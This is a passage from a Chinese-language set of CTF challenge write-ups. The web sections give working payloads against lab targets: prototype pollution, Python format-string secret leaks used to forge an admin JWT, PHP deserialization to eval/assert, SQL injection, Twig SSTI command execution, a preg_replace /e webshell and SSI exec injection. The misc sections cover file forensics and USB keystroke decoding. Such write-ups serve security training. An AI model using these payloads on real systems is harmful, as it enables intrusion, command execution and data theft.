User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8767bc72b80045a3c28e8f60acb97340
Connection: close
X-Forwarded-For: 127.0.0.1
Referer: www.ltyyds.com
```

### fake game

查看源代码可以看到 js 代码如下

```js
$(function () {
    $("#submit").on('click', function () {
        $.ajax({
            type: "POST",
            url: "/api/fight",
            contentType: "application/json; charset=utf-8",
            dataType: 'json',
            data: JSON.stringify({
                attributes: {
                    health: parseInt($("#health").val()),
                    attack: parseInt($("#attack").val()),
                    armor: parseInt($("#armor").val()),
                }
            }),
            success: function (res) {
                if (res.status === 200) {
                    alert(res.result);
                } else if(res.status === 403){
                    alert("Invalid input, please try again");
                } else if(res.status === 500){
                    alert("Json data only!");
                }
            },
        })
    })
});
```

本题通过修改 `__proto__` 来修改值就能解力。

通过 `POST` 访问 `/api/fight` ，Payload 如下

```json
{
    "attributes": {
        "health": 0,
        "attack": 0,
        "armor": 0,
        "__proto__": {
            "health": 1000000,
            "attack": 1000000,
            "armor": 1000000
        }
    }
}
```

访问后就可以得到 flag 了。

### 地狱通讯

```python
from flask import Flask, render_template, request
from flag import flag, FLAG
import datetime

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    f1ag = request.args.get('f1ag') or ""
    exp = request.args.get('exp') or ""
    flAg = FLAG(f1ag)
    message = "Your flag is {0}" + exp
    if exp == "":
        return ctx
    else:
        return message.format(flAg)


if __name__ == "__main__":
    app.run()
```

根据以下 Python 代码

```python
exp = '{0.__class__} {1.__class__}'
message = "{0} {1}" + exp
str1 = 'string'
str2 = 123
print(message)
print(message.format(str1, str2))
# {0} {1}{0.__class__} {1.__class__}
# string 123<class 'str'> <class 'int'>
```

再通过题目中给的 `message.format(flAg)` ，因此该题考的就是 format 格式化字符串。通过构造 Payload 如下

```
exp={0.__class__}
```

得到回显 `Your flag is <class 'flag.FLAG'>` ，说明 FLAG 是个类，再通过 `FLAG(f1ag)` 可以推断出存在构造函数，因此通过构造 Payload 如下

```
exp={0.__class__.__init__.__globals__}
```

就可以读取到 flag 力！

### 地狱通讯-改

拿到题目后先对代码进行格式化（

```python
from flask import Flask, render_template, request, session, redirect, make_response
from secret import secret, headers, User
import datetime
import jwt

app = Flask(__name__)


@app.route("/", methods=['GET', 'POST'])
def index():
    f = open("app.py", "r")
    ctx = f.read()
    f.close()
    res = make_response(ctx)
    name = request.args.get('name') or ''
    if 'admin' in name or name == '':
        return res
    payload = {"name": name, }
    token = jwt.encode(payload, secret, algorithm='HS256', headers=headers)
    res.set_cookie('token', token)
    return res


@app.route('/hello', methods=['GET', 'POST'])
def hello():
    token = request.cookies.get('token')
    if not token:
        return redirect('/', 302)
    try:
        name = jwt.decode(token, secret, algorithms=['HS256'])['name']
    except jwt.exceptions.InvalidSignatureError as e:
        return "Invalid token"
    if name != "admin":
        user = User(name)
        flag = request.args.get('flag') or ''
        message = "Hello {0}, your flag is" + flag
        return message.format(user)
    else:
        return render_template('flag.html', name=name)


if __name__ == "__main__":
    app.run()
```

该题需要得到 `jwt` 为 `admin` 来获取 flag，在生成 `jwt` 的前提是获取 `secret` 和 `headers` ，先随便传入一个 name 来获取 `jwt` ，Payload 如下

```
name=K1sARa
```

可以得到 token 如下

```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
```

在 `/hello` 中可以通过跟上题一样的 Python 格式化字符串来获取 `secret` 和 `headers` 的值，构造的 Payload 如下

```
flag={0.__class__.__init__.__globals__}
```

通过回显可以得到 `secret` 的值为 `u_have_kn0w_what_f0rmat_i5` ， `headers` 的值为 `{'alg': 'HS256', 'typ': 'JWT'}` 。

通过以下代码

```python
import jwt

print(jwt.encode({
    'name': 'admin'
}, 'u_have_kn0w_what_f0rmat_i5', algorithm='HS256', headers= {
    'alg': 'HS256',
    'typ': 'JWT'
}))
# eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4ifQ.jlAcmWWxtmNLxbxwfRE45Fxf16dX6LQmrK_1dgx7zmg
```

可以得到用户名为 `admin` 的 token，通过这个 token 作为 Cookie 再去访问 `/hello` 就可以得到 flag 力！

## Misc

### misc入门指北

flag 在 markdown 文件末尾 `moectf{Th1s-1s-Misc}` ！指北好耶！

### find\_me

根据题目描述用 010 Editor 打开拉到最底下就可以发现 flag `moectf{hs_g1v3_u_fl@g}`

### Homework

使用压缩包打开附件，用 VSCode 或其他打开 `/word/document.xml` 文件，通过正则表达式 `<(.*?)>` 来删除所有的标签仅留下文本，如下

```
随着新冠肺炎疫情防控工作的持续开展，国家开始加快重大项目和新的基础设施建设，特别是计划建设一大批数字化基础设施，以进一步实现我国各行业的数字化、网络化和智能化改造，并为中国经济发展再添一把火。同时，今年中央政法工作会议强调防控新型网络安全风险，加强网络社会综合管理能力，flag{0h_U_不断完善网络社会整体防控体系。特别是作为国民经济建设中心的新型基础设施，在发展过程中必须强调网络安全。相关新兴技术领域的安全风险发展迅速，技术、应用和产业供应链的安全风险将变得越来越重要。由于虚拟空间的开放，网络安全问题严重威胁着人身和财产的安全，数据、系统和服务脱离了封闭的内部环境，面对数据泄露和恶意攻击的风险，管理和控制功能被弱化。新的基础设施在注重"促进创新 "的同时，包括5G、大数据、人工智能、云计算、物联网、区块链等多项新技术在内的应用和迭代将带来风险。数字化基础设施的数字化转型和物联网的普及，将带动众多新兴企业的发展，并将对人们的办公、居家和移动生活产生深刻影响。互联网的产业安全、城市的智能安全、交通的智能安全、家庭的智能安全也将影响整个数字经济，影响政府、企业和个人。随着国民经济活动向虚拟空间的扩展，数字经济的基础设施也将成为重要的博弈平台，从网络安全攻击者到商业竞争者，经济利益的流动是单个公司和组织无法处理的，等等。这将在网络空间产生激烈的冲突，需要维护数字基础设施的公司、数字企业和安全机构/安全机构的融合。企业和国家监管部门的多方位应对。网络犯罪已成为阻碍国家经济生活稳定的犯罪 "新温床"。承载各种数字产业的新型基础设施，汇集了消费、商业、金融等高价值经济要素，也成为网络犯罪的主要目标。鉴于未来网络安全挑战的复杂性和动态性，为确保数字经济的可持续发展，必须建立全面的网络安全保护体系。克服和改善这些安全挑战，将为全球数字经济的发展创造宝贵的经验。8001000664845f1nd_m3!}020000f1nd_m3!}在机遇方面，中国更加强调网络是人类生产和生活的新空间，这也将为经济发展提供强大的动力。挑战则包括：国际网络威慑战略的强化，以及网络空间军备竞赛对世界和平的威胁加剧。中国的战略目标是建设网络强国，总体认识是 "坚决维护网络安全，最大限度挖掘网络空间发展潜力，更好地造福13亿多中国人，造福全人类，坚决维护世界和平"，国家安全。
```

flag 就在上述文本当中，即 `flag{0h_U_f1nd_m3!}` 。

### 诺亚的日记

将下载下来的文件丢到 kali 用 Wireshark 打开，可以看到基本都是 HID Data ，那就将 HID Data 的数据提取出来。

```bash
$ tshark -r usb.pcapng -T fields -e usbhid.data  > usbdata.txt
```

读取后通过引用中的脚本进行解码就可以得到 flag `moectf{D@m3daNe_D4me_yoooooo}` ，完整代码如下

```python
import re

normalKeys = {"04": "a", "05": "b", "06": "c", "07": "d", "08": "e", "09": "f", "0a": "g", "0b": "h", "0c": "i",
              "0d": "j", "0e": "k", "0f": "l", "10": "m", "11": "n", "12": "o", "13": "p", "14": "q", "15": "r",
              "16": "s", "17": "t", "18": "u", "19": "v", "1a": "w", "1b": "x", "1c": "y", "1d": "z", "1e": "1",
              "1f": "2", "20": "3", "21": "4", "22": "5", "23": "6", "24": "7", "25": "8", "26": "9", "27": "0",
              "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "-", "2e": "=", "2f": "[",
              "30": "]", "31": "\\", "32": "<NON>", "33": ";", "34": "'", "35": "<GA>", "36": ",", "37": ".", "38": "/",
              "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
              "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
shiftKeys = {"04": "A", "05": "B", "06": "C", "07": "D", "08": "E", "09": "F", "0a": "G", "0b": "H", "0c": "I",
             "0d": "J", "0e": "K", "0f": "L", "10": "M", "11": "N", "12": "O", "13": "P", "14": "Q", "15": "R",
             "16": "S", "17": "T", "18": "U", "19": "V", "1a": "W", "1b": "X", "1c": "Y", "1d": "Z", "1e": "!",
             "1f": "@", "20": "#", "21": "$", "22": "%", "23": "^", "24": "&", "25": "*", "26": "(", "27": ")",
             "28": "<RET>", "29": "<ESC>", "2a": "<DEL>", "2b": "\t", "2c": "<SPACE>", "2d": "_", "2e": "+", "2f": "{",
             "30": "}", "31": "|", "32": "<NON>", "33": "\"", "34": ":", "35": "<GA>", "36": "<", "37": ">", "38": "?",
             "39": "<CAP>", "3a": "<F1>", "3b": "<F2>", "3c": "<F3>", "3d": "<F4>", "3e": "<F5>", "3f": "<F6>",
             "40": "<F7>", "41": "<F8>", "42": "<F9>", "43": "<F10>", "44": "<F11>", "45": "<F12>"}
output = []

txt = open('usbdata.txt', 'r')

for line in txt:
    line = line.strip('\n')
    if len(line) == 16:
        line_list = re.findall('.{2}', line)
        line = ":".join(line_list)
        try:
            if line[0] != '0' or (line[1] != '0' and line[1] != '2') or line[3] != '0' or line[4] != '0' or line[
                9] != '0' or line[10] != '0' or line[12] != '0' or line[13] != '0' or line[15] != '0' or line[
                16] != '0' or line[18] != '0' or line[19] != '0' or line[21] != '0' or line[22] != '0' or line[
                                                                                                          6:8] == "00":
                continue
            if line[6:8] in normalKeys.keys():
                output += [[normalKeys[line[6:8]]], [shiftKeys[line[6:8]]]][line[1] == '2']
            else:
                output += ['[unknown]']
        except:
            pass

txt.close()

flag = 0
print("".join(output))
for i in range(len(output)):
    try:
        a = output.index('<DEL>')
        del output[a]
        del output[a - 1]
    except:
        pass
for i in range(len(output)):
    try:
        if output[i] == "<CAP>":
            flag += 1
            output.pop(i)
            if flag == 2:
                flag = 0
        if flag != 0:
            output[i] = output[i].upper()
    except:
        pass
print('output :' + "".join(output))
# 2021nian<SPACE>8yue<SPACE>5ri<SPACE>,qing22<DEL><RET>zuotian<SPACE>gei<SPACE>hanshu<SPACE>fale<SPACE>caotu<SPACE>,cadai<DEL><DEL><DEL><DEL><DEL>odaooo<DEL><DEL>41tale<SPACE>,kaixin<SPACE><RET>yizhou<SPACE>meiyoukan<SPACE>jiaran=61de<SPACE>shipinle<SPACE>,nanshou<SPACE>nie1<RET>dongfangyaohe<SPACE>musedash<RET>liandongle<SPACE>,shuangchukuangxi<SPACE>[unknown][unknown]<DEL>chu=2[unknown][unknown]<RET>moectf<RET>de<SPACE>misc<RET>ti<SPACE>caichule<SPACE>4dao2,male<SPACE><RET>woxiang<SPACE>moyu2moyu<SPACE>mou<DEL>yu<SPACE><RET>d<DEL><GA>damedane	<RET>\<DEL>,<RET>dameyo<SPACE><RET>,<RET>damenanoyo<SPACE><RET><RET>xin2misc<RET>ti<SPACE>de<SPACE>flag<RET>xiangge3shengcao21yidiande<SPACE><RET>jiujiao<DEL><DEL><DEL><DEL>yo<DEL>ng<SPACE><SPACE>moectf<RET>{}[unknown]D@m3daNe_D4me_yoooooo[unknown][unknown][unknown]haole<DEL><DEL><DEL><DEL><DEL><SPACE>haole<SPACE>riji<SPACE>.<DEL>.txt<RET>
# output :2021nian<SPACE>8yue<SPACE>5ri<SPACE>,qing2<RET>zuotian<SPACE>gei<SPACE>hanshu<SPACE>fale<SPACE>caotu<SPACE>,odao41tale<SPACE>,kaixin<SPACE><RET>yizhou<SPACE>meiyoukan<SPACE>jiaran=61de<SPACE>shipinle<SPACE>,nanshou<SPACE>nie1<RET>dongfangyaohe<SPACE>musedash<RET>liandongle<SPACE>,shuangchukuangxi<SPACE>[unknown]chu=2[unknown][unknown]<RET>moectf<RET>de<SPACE>misc<RET>ti<SPACE>caichule<SPACE>4dao2,male<SPACE><RET>woxiang<SPACE>moyu2moyu<SPACE>moyu<SPACE><RET><GA>damedane	<RET>,<RET>dameyo<SPACE><RET>,<RET>damenanoyo<SPACE><RET><RET>xin2misc<RET>ti<SPACE>de<SPACE>flag<RET>xiangge3shengcao21yidiande<SPACE><RET>jiuyng<SPACE><SPACE>moectf<RET>{}[unknown]D@m3daNe_D4me_yoooooo[unknown][unknown][unknown]<SPACE>haole<SPACE>riji<SPACE>.txt<RET>
```


# NPUCTF 2020

## Web

### ReadlezPHP

查看源代码可以发现 a 标签 `<a href="./time.php?source"></a>` ，访问后可以得到如下代码。

```php
<?php
#error_reporting(0);
class HelloPhp
{
    public $a;
    public $b;
    public function __construct(){
        $this->a = "Y-m-d h:i:s";
        $this->b = "date";
    }
    public function __destruct(){
        $a = $this->a;
        $b = $this->b;
        echo $b($a);
    }
}
$c = new HelloPhp;

if(isset($_GET['source']))
{
    highlight_file(__FILE__);
    die(0);
}

@$ppp = unserialize($_GET["data"]);
```

通过构造 Payload 如下

```
data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:4:"eval";}
```

回显 `500` ，估计被过滤了，修改 Payload 如下

```
data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
```

就可以找到 flag 了。


# MRCTF 2020

## Web

### Ez\_bypass

#### **题目**

```php
<?php
include 'flag.php';
$flag = 'MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if (isset($_GET['gg']) && isset($_GET['id'])) {
  $id = $_GET['id'];
  $gg = $_GET['gg'];
  if (md5($id) === md5($gg) && $id !== $gg) {
    echo 'You got the first step';
    if (isset($_POST['passwd'])) {
      $passwd = $_POST['passwd'];
      if (!is_numeric($passwd)) {
        if ($passwd == 1234567) {
          echo 'Good Job!';
          highlight_file('flag.php');
          die('By Retr_0');
        } else {
          echo "can you think twice??";
        }
      } else {
        echo 'You can not get it !';
      }

    } else {
      die('only one way to get the flag');
    }
  } else {
    echo "You are not a real hacker!";
  }
} else {
  die('Please input first');
}
```

#### **MD5 绕过**

构造 payload `gg[]=1&&id[]=2` 进行绕过即可

#### **is\_numeric() 函数绕过**

构造 payload `passwd=1234567a` 进行绕过即可获得到 flag

### Ezpop

```php
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
```

#### 0x00 POP 链

```
Show::__construct()->Show::__toString()->Test::__get()->Modifier::__invoke()->Modifier::append
```

#### 0x01 构造序列化

```php
<?php
class Modifier {
  protected  $var;

  public function setVar($var){
    $this->var = $var;
  }
  public function append($value){
    include($value);
  }
  public function __invoke(){
    $this->append($this->var);
  }
}

class Show{
  public $source;
  public $str;
  public function __construct($file='index.php'){
    $this->source = $file;
    echo 'Welcome to '.$this->source."<br>";
  }
  public function __toString(){
    echo '1';
    return $this->str->source;
  }

  public function __wakeup(){
    if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
      echo "hacker";
      $this->source = "index.php";
    }
  }
}

class Test{
  public $p;
  public function __construct(){
    $this->p = array();
  }

  public function __get($key){
    $function = $this->p;
    return $function();
  }
}

$a = new Show();
$b = new Show();
$c = new Test();
$d = new Modifier();

$a->source = $b;
$b->str = $c;
$c->p = $d;
$d->setVar('php://filter/read=convert.base64-encode/resource=flag.php');

echo urlencode(serialize($a));
// O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
```

构造 Payload 如下

```
pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A9%3A%22index.php%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
```

将回显进行 base64 解码后即可获得 flag 。

### PYWebsite

查看源代码存在一串神秘 JS

```js
function enc(code){
	hash = hex_md5(code);
	return hash;
}
function validate(){
	var code = document.getElementById("vcode").value;
    if (code != ""){
    	if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
        	alert("您通过了验证！");
            window.location = "./flag.php"
        }else{
          alert("你的授权码不正确！");
        }
    }else{
        alert("请输入授权码");
    }
}
```

进入到 `./flag` 后回显提示 `除了购买者和我自己，没有人可以看到flag` ，那就试试改下 `X-Forwarded-For: 127.0.0.1` ，再查看源代码就可以发现 flag 了。


# GYCTF 2020

## Web

### Blacklist

随便输入 `1` 进去回显得到数组，输入 `1' select` 回显得到一条 PHP 语句。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F69h9n9LvtwO8jNyboV8U%2FBlacklist-1.png?alt=media&amp;token=06dfc950-5ebe-40c9-9647-2b00461c5803" alt=""><figcaption></figcaption></figure>

```php
preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);
```

可以发现过滤了许多 SQL 关键字，传入 `1';show databases;` 可以获取到数据库名为 `supersqli`

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FaQPPH43Z4ldktww8LQo4%2FBlacklist-2.png?alt=media&amp;token=e7226aac-7f34-4f68-8bd5-a165dedd06fb" alt=""><figcaption></figcaption></figure>

传入 `1';show tables;` 可以看到 flag 被藏到了 `FlagHere` 表中。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FadS3hIphR2uPhoI4Ochv%2FBlacklist-3.png?alt=media&amp;token=68cb9b77-52b8-4480-af7e-672bb954388b" alt=""><figcaption></figcaption></figure>

但是要怎么获取到 flag 呢？select 已经被吃掉了，经过百度发现可以通过 HANDLER 语句获取。

> HANDLER table\_name OPEN：打开一个表的句柄。
>
> HANDLER table\_name READ index：访问表的索引。
>
> HANDLER table\_name CLOSE：关闭已经打开的句柄。
>
> HANDLER tbl\_name READ { FIRST | NEXT } \[ WHERE where\_condition ] \[LIMIT ... ]
>
> * READ FIRST: 获取句柄的第一行
> * READ NEXT: 依次获取其他行

通过传入 `1';handler FlagHere open;handler FlagHere read next;handler FlagHere close;` 就可以获得 flag 力


# BJDCTF 2020

## Web

### EasyMD5

进入后通过 Response Headers 可以看到 `Hint: select * from 'admin' where password=md5($pass,true)`

通过百度可知输出格式为原始 16 字符二进制格式，分析上述 SQL 语句可知得让语句变为 `select * from 'admin' where password='or'1` 得格式，通过舍友得知了一个”万能密码 `ffifdyop` “。通过输入框输入 `ffifdyop` 可得回显，并在源代码中包含下一关的提示。

```php
$a = $GET['a'];
$b = $_GET['b'];
​
if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
```

通过分析可得需要两个不同的数但 md5 计算后相同的值，由于 md5() 函数进行的是弱比较，因此可以通过 0e 或者数组绕过判断

构造 payload `a=s878926199a&b=s155964671a` 访问后则跳转到 `levell14.php` 到达下一关

```php
<?php
error_reporting(0);
include "flag.php";
​
highlight_file(__FILE__);
​
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
```

分析得到 0e 绕过已经不能用了，因此尝试数组绕过判断

构造 payload `param1[]=1&param2[]=2` 访问就可以获得 flag 力

### The mystery of ip

通过 Hint.php 的源代码可以发现提示“Do you know why i know your ip?”，初步判断是获取 Header 的，因此通过给 Header 头加上 `client-ip: 1` 可以发现这时 IP 回显为 1，说明确实是。接下来就是尝试 SSTI 模板注入，通过传入 `{{7*7}}` 回显 `49` 可以推断出确实能行，于是继续尝试 `{{system('ls /')}}` 可以发现 flag就在根目录中，通过传入 `{{system('cat /flag')}}` 就可以获取到 flag 力

### Mark loves cat

通过查看源代码还有 Header 没有发现什么突破点，直接开始进行目录扫描

```sh
$ python dirsearch.py -u http://d9c7b8a3-3bcd-4552-88f0-9e34b67b516a.node4.buuoj.cn:81/ -t 1 --timeout=2
```

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2F7uQqS7c44sivkRkKeGih%2FMark-loves-cat-1.png?alt=media&amp;token=89d2cf9e-892e-4015-aeeb-307028c29fca" alt=""><figcaption></figcaption></figure>

扫描目录后发现 `.git` 泄露，通过 GitHack 来提取文件

```shell
$ githack -o ./ http://0e7e243a-210d-495c-ade2-e31c871a0961.node4.buuoj.cn:81/.git/
```

可以得到 `flag.php`

```php
<?php
$flag = file_get_contents('/flag');
```

`index.php`

```php
    <?php
    include 'flag.php';
    $yds = "dog";
    $is = "cat";
    $handsome = 'yds';
    // $键名 = 键值
    foreach($_POST as $x => $y){
        $$x = $y;
    }
    // $键名 = $键值
    foreach($_GET as $x => $y){
        $$x = $$y;
    }
    foreach($_GET as $x => $y){
        if($_GET['flag'] === $x && $x !== 'flag'){
            exit($handsome);
        }
    }
    if(!isset($_GET['flag']) && !isset($_POST['flag'])){
        exit($yds);
    }
    if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
        exit($is);
    }
    echo "the flag is: ".$flag;
```

通过分析可以得知，body 中的参数 `$键名 = 键值` ，params 中的参数 `$键名 = $键值` 。

其中对于 params 中的参数进行要求：键名为 `flag` 的键值不能为 `flag` ，因此可以通过设置一个变量进行跳过，即 payload `flag=a&a=b` 。body 和 params 中的参数的要求是参数中不能同时存在 `flag` 。最后一关的要求是 body 和 params 中键名为 `flag` 的值不能为 `flag` ，以上要求全部满足则返回变量 `flag` 的值。我们可以通过修改变量 `handsome` 的值为 `flag` 来获取 flag。

payload `handsome=flag&flag=a&a=flag` 就可以得到 flag了。

### ZJCTF，不过如此

```php
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }

    include($file);  //next.php
    
}
else{
    highlight_file(__FILE__);
}
?>
```

`I have a dream` 经过 base64 编码后为 `SSBoYXZlIGEgZHJlYW0=`

payload `text=data://text/plain;base64,SSBoYXZlIGEgZHJlYW0=&file=php://filter/read=convert.base64-encode/resource=next.php` 可以获得 `next.php` 的源码

```php
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}
```

通过 Network - Header 可以发现 PHP 版本为 5.6.40，而 `complex()` 函数中的正则替换函数 `preg_replace()` 使用的是 `/e` ，这会使得当作命令来执行。因此当匹配模式改为任何字符串 `\S*` 内容改成 `${eval($_POST[1])}` 就可以写入 shell 了，通过蚁剑连接找到 flag 就行了，payload `\S*=${eval($_POST[1])}`

### Cookie is so stable

打开页面有两个文件 `flag.php` 和 `hint.php` ，从 `hint.php` 可以发现以下提示

```html
<!-- Why not take a closer look at cookies? -->
```

前往 `flag.php` 找 Cookies 为空，随便进行提交后可以发现多了 `user` ，值即刚刚随便提交输入的值 `123` ，并且页面会显示以下内容

```html
<h2>Hello 123</h2>
```

构造 Payload `{{5*5}}` 回显 25 ，存在 SSTI 注入漏洞。

构造 Payload `{{5*'5'}}` 回显 25 ，说明是 Twig 模板。

通过 Hackbar 修改 Cookie 即可得到 flag ，修改内容如下

```url
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
```

### EasySearch

通过 dirsearch 可以发现 `index.php` 的源码，在 `index.php.swp` 中。

```php
<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>
```

首先需要进行 md5 前六位爆破，编写 Python 代码如下。

```python
import hashlib

for i in range(10000000):
    md5 = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    if md5[0:6] == "6d0bc1":
        print(i, md5)

# 2020666 6d0bc1153791aa2b4e18b4f344f26ab4
# 2305004 6d0bc1ec71a9b814677b85e3ac9c3d40
# 9162671 6d0bc11ea877b37d694b38ba8a45b19c
```

通过百度 `.shtml` 可以发现该类型文件是包含有嵌入式服务器方包含（SSI）命令的HTML网页文件。在被传送给用户浏览器之前，服务器会对SHTML文档进行完全地读取、分析以及修改，最后输出静态的网页。因此可以通过控制该文件内容从而执行系统命令获取 flag 。

SSI主要有以下几种用途：

* 显示服务器端环境变量<#echo>
* 将文本内容直接插入到文档中<#include>
* 显示WEB文档相关信息<#flastmod #fsize>（如文件制作日期/大小等）
* 直接执行服务器上的各种程序<#exec>（如CGI或其他可执行程序）
* 设置SSI信息显示格式<#config>（如文件制作日期/大小显示方式）高级SSI可设置变量使用if条件语句。

通过构造 Payload 如下

```
username=<!--%23exec+cmd%3d"ls+/"+-->&password=2020666
```

可以在 Header 得到回显如下

```
Url_is_here: public/8b604896776b2fcee4eaf665d3ba30e4fc2b96f8.shtml
```

通过访问即可得到以下内容

```
Hello,bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

data: Monday, 22-Jan-2024 13:26:40 UTC

Client IP: xxx.xxx.xxx.xxx
```

发现 flag 并不在这，尝试其他目录，可以找到 flag 在上级目录中，通过构造 Payload 如下即可得到 flag 。

```
username=<!--%23exec+cmd%3d"cat+../flag_990c66bf85a09c664f0b6741840499b2"+-->&password=2020666
```


# 网鼎杯 2020

## Web

### \[朱雀组]phpweb

查看源代码可以发现 form 表单存在注入点，默认执行函数为 `date(Y-m-d h:i:s a)` 。

```html
<form  id=form1 name=form1 action="index.php" method=post>
    <input type=hidden id=func name=func value='date'>
    <input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</form>
```

尝试使用 `system()` 函数直接进行注入，构造 payload `func=system&p=cat /flag` 发现 `system()` 函数被过滤了。

<figure><img src="https://1538376902-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FP93uXUpqRmANvc0oiUrO%2Fuploads%2FsaKW3HCgiqdeAs4aamHI%2Fphpweb-1.png?alt=media&amp;token=d16b6928-9937-4e19-be59-900223dbc0d0" alt=""><figcaption></figcaption></figure>

尝试通过 `file_get_contents()` 函数获取 `index.php` 的内容查看被过滤关键字，构造 payload `func=file_get_contents&p=index.php` 可以得到。

